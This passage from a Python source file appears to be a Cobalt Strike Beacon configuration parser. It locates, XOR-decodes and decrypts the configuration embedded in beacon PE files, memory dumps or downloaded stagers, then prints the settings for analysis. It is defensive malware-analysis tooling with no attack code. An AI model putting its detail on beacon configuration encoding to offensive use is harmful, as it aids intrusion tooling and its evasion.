self.settings['DNS_get_TypeAAAA'] = packedSetting(62, confConsts.TYPE_STR, 33) 353 | self.settings['DNS_get_TypeTXT'] = packedSetting(63, confConsts.TYPE_STR, 33) 354 | self.settings['DNS_put_metadata'] = packedSetting(64, confConsts.TYPE_STR, 33) 355 | self.settings['DNS_put_output'] = packedSetting(65, confConsts.TYPE_STR, 33) 356 | self.settings['DNS_resolver'] = packedSetting(66, confConsts.TYPE_STR, 15) 357 | self.settings['DNS_strategy'] = packedSetting(67, confConsts.TYPE_SHORT, enum=self.ROTATE_STRATEGY) 358 | self.settings['DNS_strategy_rotate_seconds'] = packedSetting(68, confConsts.TYPE_INT) 359 | self.settings['DNS_strategy_fail_x'] = packedSetting(69, confConsts.TYPE_INT) 360 | self.settings['DNS_strategy_fail_seconds'] = packedSetting(70, confConsts.TYPE_INT) 361 | 362 | 363 | class cobaltstrikeConfig: 364 | def __init__(self, f): 365 | ''' 366 | f: file path or file-like object 367 | ''' 368 | self.data = None 369 | if isinstance(f, str): 370 | with open(f, 'rb') as fobj: 371 | self.data = fobj.read() 372 | else: 373 | self.data = f.read() 374 | 375 | """Parse the CobaltStrike configuration""" 376 | 377 | @staticmethod 378 | def decode_config(cfg_blob, version): 379 | return bytes([cfg_offset ^ confConsts.XORBYTES[version] for cfg_offset in cfg_blob]) 380 | 381 | def _parse_config(self, version, quiet=False, as_json=False): 382 | ''' 383 | Parses beacon's configuration from beacon PE or memory dump. 384 | Returns json of config is found; else it returns None. 385 | :int version: Try a specific version (3 or 4), or leave None to try both of them 386 | :bool quiet: Whether to print missing or empty settings 387 | :bool as_json: Whether to dump as json 388 | ''' 389 | re_start_match = re.search(confConsts.START_PATTERNS[version], self.data) 390 | re_start_decoded_match = re.search(confConsts.START_PATTERN_DECODED, self.data) 391 | 392 | if not re_start_match and not re_start_decoded_match: 393 | return None 394 | encoded_config_offset = re_start_match.start() if re_start_match else -1 395 | decoded_config_offset = re_start_decoded_match.start() if re_start_decoded_match else -1 396 | 397 | if encoded_config_offset >= 0: 398 | full_config_data = cobaltstrikeConfig.decode_config(self.data[encoded_config_offset : encoded_config_offset + confConsts.CONFIG_SIZE], version=version) 399 | else: 400 | full_config_data = self.data[decoded_config_offset : decoded_config_offset + confConsts.CONFIG_SIZE] 401 | 402 | parsed_config = {} 403 | settings = BeaconSettings(version).settings.items() 404 | for conf_name, packed_conf in settings: 405 | parsed_setting = packed_conf.pretty_repr(full_config_data) 406 | 407 | parsed_config[conf_name] = parsed_setting 408 | if as_json: 409 | continue 410 | 411 | if conf_name in SILENT_CONFIGS: 412 | continue 413 | 414 | if parsed_setting == 'Not Found' and quiet: 415 | continue 416 | 417 | conf_type = type(parsed_setting) 418 | if conf_type in (str, int, bytes): 419 | if quiet and conf_type == str and parsed_setting.strip() == '': 420 | continue 421 | _cli_print("{: <{width}} - {val}".format(conf_name, width=COLUMN_WIDTH-3, val=parsed_setting)) 422 | 423 | elif parsed_setting == []: 424 | if quiet: 425 | continue 426 | _cli_print("{: <{width}} - {val}".format(conf_name, width=COLUMN_WIDTH-3, val='Empty')) 427 | 428 | elif conf_type == dict: # the beautifulest code 429 | conf_data = [] 430 | for k in parsed_setting.keys(): 431 | if parsed_setting[k]: 432 | conf_data.append(k) 433 | for v in parsed_setting[k]: 434 | conf_data.append('\t' + v) 435 | if not conf_data: 436 | continue 437 | _cli_print("{: <{width}} - {val}".format(conf_name, width=COLUMN_WIDTH-3, val=conf_data[0])) 438 | for val in conf_data[1:]: 439 | _cli_print(' ' * COLUMN_WIDTH, end='') 440 | _cli_print(val) 441 | 442 | elif conf_type == list: # list 443 | _cli_print("{: <{width}} - {val}".format(conf_name, width=COLUMN_WIDTH-3, val=parsed_setting[0])) 444 | for val in parsed_setting[1:]: 445 | _cli_print(' ' * COLUMN_WIDTH, end='') 446 | _cli_print(val) 447 | 448 | if as_json: 449 | _cli_print(json.dumps(parsed_config, cls=Base64Encoder)) 450 | 451 | return parsed_config 452 | 453 | def parse_config(self, version=None, quiet=False, as_json=False): 454 | ''' 455 | Parses beacon's configuration from beacon PE or memory dump 456 | Returns json of config is found; else it returns None. 457 | :int version: Try a specific version (3 or 4), or leave None to try both of them 458 | :bool quiet: Whether to print missing or empty settings 459 | :bool as_json: Whether to dump as json 460 | ''' 461 | 462 | if not version: 463 | for ver in SUPPORTED_VERSIONS: 464 | parsed = self._parse_config(version=ver, quiet=quiet, as_json=as_json) 465 | if parsed: 466 | return parsed 467 | else: 468 | return self._parse_config(version=version, quiet=quiet, as_json=as_json) 469 | return None 470 | 471 | 472 | def parse_encrypted_config_non_pe(self, version=None, quiet=False, as_json=False): 473 | self.data = decrypt_beacon(self.data) 474 | return self.parse_config(version=version, quiet=quiet, as_json=as_json) 475 | 476 | def parse_encrypted_config(self, version=None, quiet=False, as_json=False): 477 | ''' 478 | Parses beacon's configuration from stager dll or memory dump 479 | Returns json of config is found; else it returns None. 480 | :bool quiet: Whether to print missing settings 481 | :bool as_json: Whether to dump as json 482 | ''' 483 | 484 | try: 485 | pe = pefile.PE(data=self.data) 486 | except pefile.PEFormatError: 487 | return self.parse_encrypted_config_non_pe(version=version, quiet=quiet, as_json=as_json) 488 | 489 | data_sections = [s for s in pe.sections if s.Name.find(b'.data') != -1] 490 | if not data_sections: 491 | _cli_print("Failed to find .data section") 492 | return False 493 | data = data_sections[0].get_data() 494 | 495 | offset = 0 496 | key_found = False 497 | while offset < len(data): 498 | key = data[offset:offset+4] 499 | if key != bytes(4): 500 | if data.count(key) >= THRESHOLD: 501 | key_found = True 502 | size = int.from_bytes(data[offset-4:offset], 'little') 503 | encrypted_data_offset = offset+16 - (offset % 16) 504 | break 505 | 506 | offset += 4 507 | 508 | if not key_found: 509 | return False 510 | 511 | # decrypt 512 | enc_data = data[encrypted_data_offset:encrypted_data_offset+size] 513 | dec_data = [] 514 | for i,c in enumerate(enc_data): 515 | dec_data.append(c ^ key[i % 4]) 516 | 517 | dec_data = bytes(dec_data) 518 | self.data = dec_data 519 | return self.parse_config(version=version, quiet=quiet, as_json=as_json) 520 | 521 | 522 | if __name__ == '__main__': 523 | parser = argparse.ArgumentParser(description="Parses CobaltStrike Beacon's configuration from PE, memory dump or URL.") 524 | parser.add_argument("beacon", help="This can be a file path or a url (if started with http/s)") 525 | parser.add_argument("--json", help="Print as json", action="store_true", default=False) 526 | parser.add_argument("--quiet", help="Do not print missing or empty settings", action="store_true", default=False) 527 | parser.add_argument("--version", help="Try as specific cobalt version (3 or 4). If not specified, tries both.", type=int) 528 | args = parser.parse_args() 529 | 530 | if os.path.isfile(args.beacon): 531 | if cobaltstrikeConfig(args.beacon).parse_config(version=args.version, quiet=args.quiet, as_json=args.json) or \ 532 | cobaltstrikeConfig(args.beacon).parse_encrypted_config(version=args.version, quiet=args.quiet, as_json=args.json): 533 | exit(0) 534 | 535 | elif args.beacon.lower().startswith('http'): 536 | x86_beacon_data = get_beacon_data(args.beacon, 'x86') 537 | x64_beacon_data = get_beacon_data(args.beacon, 'x64') 538 | if not x86_beacon_data and not x64_beacon_data: 539 | print("[-] Failed to find any beacon configuration") 540 | exit(1) 541 | 542 | conf_data = x86_beacon_data or x64_beacon_data 543 | if cobaltstrikeConfig(BytesIO(conf_data)).parse_config(version=args.version, quiet=args.quiet, as_json=args.json) or \ 544 | cobaltstrikeConfig(BytesIO(conf_data)).parse_encrypted_config(version=args.version, quiet=args.quiet, as_json=args.json): 545 | exit(0) 546 | 547 | print("[-] Failed to find any beacon configuration") 548 | exit(1) --------------------------------------------------------------------------------